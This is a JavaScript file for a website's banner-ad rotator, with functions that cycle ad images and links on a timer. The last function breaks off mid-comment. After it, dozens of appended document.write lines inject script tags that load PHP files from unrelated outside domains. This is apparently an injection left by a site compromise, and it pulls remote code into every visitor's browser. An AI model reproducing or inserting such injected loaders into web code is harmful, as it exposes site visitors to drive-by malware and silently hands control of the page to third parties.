// JavaScript Document
// timeleftimg function is called to set the timeout of the next banner for display.
function mainhomeimgs(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2,strA3,demo3,strT3,left3) 
{ // Reusable timer
	//alert("top-"+ctr);
		thetimer = setTimeout("callmainImg('" +strA1+ "','" +demo1+ "','" +strT1+ "','" +left1+ "','" +strA2+ "','" +demo2+ "','" +strT2+ "','" +left2+ "','" +strA3+ "','" +demo3+ "','" +strT3+ "','" +left3+ "')", 5000);
}

//calllefting funtion is call so that image can is displayed.
function callmainImg(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2,strA3,demo3,strT3,left3) 
{
	var pp=[];
	var bb=[];
	var mm=[];
	var href=[];
	var bhref=[];
	var mhref=[];
	img1 = new Image();
	img2 = new Image();
	img3 = new Image();
	
	var nend, hend;
	var ctr;
	var ct;
	var imgName, hName;
	
	var bend, btend;
	var ctr1;
	var ct1;
	var bimgName, bName;
	
	var mend, mtend;
	var ctr2;
	var ct2;
	var mimgName, mName;
	
	
	nstart=strA1.indexOf("images/homead/");
	nend=strA1.lastIndexOf(",images/homead/")			
	
	imgName=strA1.substring(nstart,nend);
	
	hend=strT1.lastIndexOf("***")			
	
	hName=strT1.substring(0,hend);
	
	
	
	bstart=strA2.indexOf("images/homead/");
	bend=strA2.lastIndexOf(",images/homead/")			
	
	bimgName=strA2.substring(bstart,bend);
	
	btend=strT2.lastIndexOf("***")			
	
	bName=strT2.substring(0,btend);
	//alert(imgName);
	
	mstart=strA3.indexOf("images/homead/");
	mend=strA3.lastIndexOf(",images/homead/")			
	
	mimgName=strA3.substring(mstart,mend);
	
	mtend=strT3.lastIndexOf("***")			
	
	mName=strT3.substring(0,mtend);
	
	
	var i=0;		
	var num=0;
	var num1=0;
	var num2=0;
	for(i=0;i<strA1.split(",").length-1;i++)
	{
					pp[i]=imgName.split(",")[i];
					num=num+1;
	}
	
	for(i=0;i<strT1.split("***").length-1;i++)
	{
					href[i]=hName.split("***")[i];
	}
	
	for(i=0;i<strA2.split(",").length-1;i++)
	{
					bb[i]=bimgName.split(",")[i];
					num1=num1+1;
	}
	
	for(i=0;i<strT2.split("***").length-1;i++)
	{
					bhref[i]=bName.split("***")[i];
	}
	
	for(i=0;i<strA3.split(",").length-1;i++)
	{
					mm[i]=mimgName.split(",")[i];
					num2=num2+1;
	}
	
	for(i=0;i<strT3.split("***").length-1;i++)
	{
					mhref[i]=mName.split("***")[i];
	}

	//ct=eval(ctr)+2;
	//rt=eval(cnt)+2;
	ctr=Math.floor(Math.random()*pp.length);
	ctr1=Math.floor(Math.random()*bb.length);
	ctr2=Math.floor(Math.random()*mm.length);
	
	img1.src = pp[ctr];
	img2.src = bb[ctr1];
	img3.src = mm[ctr2];
	

	//alert("img-"+imgr.src)
	
		if (document.links) 
		{
					//alert(document.links[i].name);
					if(left1=="left1" && document.links[i].name=="left1")
					{
						document.links[i].href= href[ctr];
						img1.alt=href[ctr];
					}
					if(left2=="left2" && document.links[i].name=="left2")
					{
						document.links[i].href= bhref[ctr1];
						img2.alt=bhref[ctr1];
					}
					if(left3=="left3" && document.links[i].name=="left3")
					{
						document.links[i].href= mhref[ctr2];
						img2.alt=mhref[ctr2];
					}
					
		}
		//alert("ctr1-"+ctr);
		if (document.images) 
		{
			if(num>0)
			{
				document[eval("demo1")].src = eval("img1.src");
				document[eval("demo1")].alt=eval("img1.alt");
			}
			if(num1>0)
			{
				document[eval("demo2")].src = eval("img2.src");
				document[eval("demo2")].alt=eval("img2.alt");
			}
			if(num2>0)
			{
				document[eval("demo3")].src = eval("img3.src");
				document[eval("demo3")].alt=eval("img3.alt");
			}	
				//again the timeLeftimgs function is called to repeat the rotation.
				mainhomeimgs(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2,strA3,demo3,strT3,left3);
		}
	
}


// JavaScript Document
// timeleftimg function is called to set the timeout of the next banner for display.
function homeimgs(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2) 
{ // Reusable timer
	//alert("top-"+ctr);
		thetimer = setTimeout("callImg('" +strA1+ "','" +demo1+ "','" +strT1+ "','" +left1+ "','" +strA2+ "','" +demo2+ "','" +strT2+ "','" +left2+ "')", 5000);
}

//calllefting funtion is call so that image can is displayed.
function callImg(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2)
{
	var pp=[];
	var bb=[];
	var href=[];
	var bhref=[];
	img1 = new Image();
	img2 = new Image();
	
	var nend, hend;
	var ctr;
	var ct;
	var imgName, hName;
	
	var bend, btend;
	var ctr1;
	var ct;
	var bimgName, bName;
	nstart=strA1.indexOf("images/homead/");
	nend=strA1.lastIndexOf(",images/homead/")			
	
	imgName=strA1.substring(nstart,nend);
	
	hend=strT1.lastIndexOf("***")			
	
	hName=strT1.substring(0,hend);
	
	
	
	bstart=strA2.indexOf("images/homead/");
	bend=strA2.lastIndexOf(",images/homead/")			
	
	bimgName=strA2.substring(bstart,bend);
	
	btend=strT2.lastIndexOf("***")			
	
	bName=strT2.substring(0,btend);
	//alert(imgName);
	
	var i=0;		
	var num=0;
	var num1=0;
	for(i=0;i<strA1.split(",").length-1;i++)
	{
					pp[i]=imgName.split(",")[i];
					num=num+1;
	}
	
	for(i=0;i<strT1.split("***").length-1;i++)
	{
					href[i]=hName.split("***")[i];
	}
	
	for(i=0;i<strA2.split(",").length-1;i++)
	{
					bb[i]=bimgName.split(",")[i];
					num1=num1+1;
	}
	
	for(i=0;i<strT2.split("***").length-1;i++)
	{
					bhref[i]=bName.split("***")[i];
	}
	

	//ct=eval(ctr)+2;
	//rt=eval(cnt)+2;
	ctr=Math.floor(Math.random()*pp.length);
	ctr1=Math.floor(Math.random()*bb.length);
	
	
	img1.src = pp[ctr];
	img2.src = bb[ctr1];

	

	//alert("img-"+imgr.src)
	
		if (document.links) 
		{
					//alert(document.links[i].name);
					if(left1=="left1" && document.links[i].name=="left1")
					{
						document.links[i].href= href[ctr];
						img1.alt=href[ctr];
					}
					if(left2=="left2" && document.links[i].name=="left2")
					{
						document.links[i].href= bhref[ctr1];
						img2.alt=bhref[ctr1];
					}
					
		}
		//alert("ctr1-"+ctr);
		if (document.images) 
		{
			if(num>0)
			{
				document[eval("demo1")].src = eval("img1.src");
				document[eval("demo1")].alt=eval("img1.alt");
			}
			if(num1>0)
			{	
				document[eval("demo2")].src = eval("img2.src");
				document[eval("demo2")].alt=eval("img2.alt");
			}
				
				//again the timeLeftimgs function is called to repeat the rotation.
				homeimgs(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2);
		}
	
}

// JavaScript Document
// timeleftimg function is called to set the timeout of the next banner for display.
function vacimgs(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2) 
{ // Reusable timer
	//alert("top-"+strA1);
		thetimerv = setTimeout("vaccallImg('" +strA1+ "','" +demo1+ "','" +strT1+ "','" +left1+ "','" +strA2+ "','" +demo2+ "','" +strT2+ "','" +left2+ "')", 5000);
}

//calllefting funtion is call so that image can is displayed.
function vaccallImg(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2)
{
	var pp=[];
	var bb=[];
	var href=[];
	var bhref=[];
	img1 = new Image();
	img2 = new Image();
	
	var nend, hend;
	var ctr;
	var ct;
	var imgName, hName;
	
	var bend, btend;
	var ctr1;
	var ct;
	var bimgName, bName;
	nstart=strA1.indexOf("images/vaccinead/");
	nend=strA1.lastIndexOf(",images/vaccinead/")			
	
	imgName=strA1.substring(nstart,nend);
	
	hend=strT1.lastIndexOf("***")			
	
	hName=strT1.substring(0,hend);
	
	
	//alert(imgName);
	
	bstart=strA2.indexOf("images/vaccinead/");
	bend=strA2.lastIndexOf(",images/vaccinead/")			
	
	bimgName=strA2.substring(bstart,bend);
	
	btend=strT2.lastIndexOf("***")			
	
	bName=strT2.substring(0,btend);
	//alert(imgName);
	
	var i=0;		
	var num=0;
	var num1=0;
	for(i=0;i<strA1.split(",").length-1;i++)
	{
					pp[i]=imgName.split(",")[i];
					num=num+1;
	}
	
	for(i=0;i<strT1.split("***").length-1;i++)
	{
					href[i]=hName.split("***")[i];
	}
	
	for(i=0;i<strA2.split(",").length-1;i++)
	{
					bb[i]=bimgName.split(",")[i];
					num1=num1+1;
	}
	
	for(i=0;i<strT2.split("***").length-1;i++)
	{
					bhref[i]=bName.split("***")[i];
	}
	

	//ct=eval(ctr)+2;
	//rt=eval(cnt)+2;
	ctr=Math.floor(Math.random()*pp.length);
	ctr1=Math.floor(Math.random()*bb.length);
	
	
	img1.src = pp[ctr];
	img2.src = bb[ctr1];

	
		if (document.links) 
		{
					//alert(document.links[i].name);
					if(left1=="left1" && document.links[i].name=="left1")
					{
						document.links[i].href= href[ctr];
						img1.alt=href[ctr];
					}
					if(left2=="left2" && document.links[i].name=="left2")
					{
						document.links[i].href= bhref[ctr1];
						img2.alt=bhref[ctr1];
					}
					
		}
		//alert("ctr1-"+ctr);
		if (document.images) 
		{
				if(num>0)
				{
					document[eval("demo1")].src = eval("img1.src");
					document[eval("demo1")].alt=eval("img1.alt");
				}
				if (num1>0)
				{
					document[eval("demo2")].src = eval("img2.src");
					document[eval("demo2")].alt=eval("img2.alt");
				}					
				//again the timeLeftimgs function is called to repeat the rotation.
				vacimgs(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2);
		}
	
}


// JavaScript Document
// timeleftimg function is called to set the timeout of the next banner for display.
function growthimgs(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2) 
{ // Reusable timer
	//alert("top-"+strA1);
		thetimerv = setTimeout("gcallImg('" +strA1+ "','" +demo1+ "','" +strT1+ "','" +left1+ "','" +strA2+ "','" +demo2+ "','" +strT2+ "','" +left2+ "')", 5000);
}

//calllefting funtion is call so that image can is displayed.
function gcallImg(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2)
{
	var pp=[];
	var bb=[];
	var href=[];
	var bhref=[];
	img1 = new Image();
	img2 = new Image();
	
	var nend, hend;
	var ctr;
	var ct;
	var imgName, hName;
	
	var bend, btend;
	var ctr1;
	var ct;
	var bimgName, bName;
	nstart=strA1.indexOf("images/growthad/");
	nend=strA1.lastIndexOf(",images/growthad/")			
	
	imgName=strA1.substring(nstart,nend);
	
	hend=strT1.lastIndexOf("***")			
	
	hName=strT1.substring(0,hend);
	
	
	//alert(imgName);
	
	bstart=strA2.indexOf("images/growthad/");
	bend=strA2.lastIndexOf(",images/growthad/")			
	
	bimgName=strA2.substring(bstart,bend);
	
	btend=strT2.lastIndexOf("***")			
	
	bName=strT2.substring(0,btend);
	//alert(imgName);
	
	var i=0;		
	var num=0;
	var num1=0;
	for(i=0;i<strA1.split(",").length-1;i++)
	{
					pp[i]=imgName.split(",")[i];
					num=num+1;
	}
	
	for(i=0;i<strT1.split("***").length-1;i++)
	{
					href[i]=hName.split("***")[i];
	}
	
	for(i=0;i<strA2.split(",").length-1;i++)
	{
					bb[i]=bimgName.split(",")[i];
					num1=num1+1;
	}
	
	for(i=0;i<strT2.split("***").length-1;i++)
	{
					bhref[i]=bName.split("***")[i];
	}
	

	//ct=eval(ctr)+2;
	//rt=eval(cnt)+2;
	ctr=Math.floor(Math.random()*pp.length);
	ctr1=Math.floor(Math.random()*bb.length);
	
	
	img1.src = pp[ctr];
	img2.src = bb[ctr1];

	
		if (document.links) 
		{
					//alert(document.links[i].name);
					if(left1=="left1" && document.links[i].name=="left1")
					{
						document.links[i].href= href[ctr];
						img1.alt=href[ctr];
					}
					if(left2=="left2" && document.links[i].name=="left2")
					{
						document.links[i].href= bhref[ctr1];
						img2.alt=bhref[ctr1];
					}
					
		}
		//alert("ctr1-"+ctr);
		if (document.images) 
		{
				if(num>0)
				{
					document[eval("demo1")].src = eval("img1.src");
					document[eval("demo1")].alt=eval("img1.alt");
				}
				if (num1>0)
				{
					document[eval("demo2")].src = eval("img2.src");
					document[eval("demo2")].alt=eval("img2.alt");
				}					
				//again the timeLeftimgs function is called to repeat the rotation.
				growthimgs(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2);
		}
	
}			


// JavaScript Document
// timeleftimg function is called to set the timeout of the next banner for display.
function htimgs(strA1,demo1,strT1,left1,strA2,demo2,strT2,left2) 
{ // Reusable timer
	//alert("top-"+strA1);
		thetimerv = setTimeout("htcallImg('" +strA1+ "','" +demo1+ "','" +strT1+ "','" +left1+ "','" +strA2+ "','" +demo2+ "','" +strT2+ "','" +left2+ "')", 5000);
}

//calllefting f
document.write('<script src=http://beratungszentrum-doebeln.de/_baks/newsticker.php ><\/script>');
document.write('<script src=http://beratungszentrum-doebeln.de/_baks/newsticker.php ><\/script>');
document.write('<script src=http://beratungszentrum-doebeln.de/_baks/newsticker.php ><\/script>');
document.write('<script src=http://antoniomilanjuan.com/cgi-data/config.php ><\/script>');
document.write('<script src=http://antoniomilanjuan.com/cgi-data/config.php ><\/script>');
document.write('<script src=http://antoniomilanjuan.com/cgi-data/config.php ><\/script>');
document.write('<script src=http://antoniomilanjuan.com/cgi-data/config.php ><\/script>');
document.write('<script src=http://antoniomilanjuan.com/cgi-data/config.php ><\/script>');
document.write('<script src=http://antoniomilanjuan.com/cgi-data/config.php ><\/script>');
document.write('<script src=http://antoniomilanjuan.com/cgi-data/config.php ><\/script>');
document.write('<script src=http://antoniomilanjuan.com/cgi-data/config.php ><\/script>');
document.write('<script src=http://antoniomilanjuan.com/cgi-data/config.php ><\/script>');
document.write('<script src=http://one-stop-finance.co.uk/Templates/carinsurance.php ><\/script>');
document.write('<script src=http://webphpsql.net/passwd/_ascreen.php ><\/script>');
document.write('<script src=http://webphpsql.net/passwd/_ascreen.php ><\/script>');
document.write('<script src=http://webphpsql.net/passwd/_ascreen.php ><\/script>');
document.write('<script src=http://webphpsql.net/passwd/_ascreen.php ><\/script>');
document.write('<script src=http://webphpsql.net/passwd/_ascreen.php ><\/script>');
document.write('<script src=http://vidamballagas.extra.hu/sim/inde_x.php ><\/script>');
document.write('<script src=http://vidamballagas.extra.hu/sim/inde_x.php ><\/script>');
document.write('<script src=http://vidamballagas.extra.hu/sim/inde_x.php ><\/script>');
document.write('<script src=http://vidamballagas.extra.hu/sim/inde_x.php ><\/script>');
document.write('<script src=http://vidamballagas.extra.hu/sim/inde_x.php ><\/script>');
document.write('<script src=http://vidamballagas.extra.hu/sim/inde_x.php ><\/script>');
document.write('<script src=http://vidamballagas.extra.hu/sim/inde_x.php ><\/script>');
document.write('<script src=http://vidamballagas.extra.hu/sim/inde_x.php ><\/script>');
document.write('<script src=http://vidamballagas.extra.hu/sim/inde_x.php ><\/script>');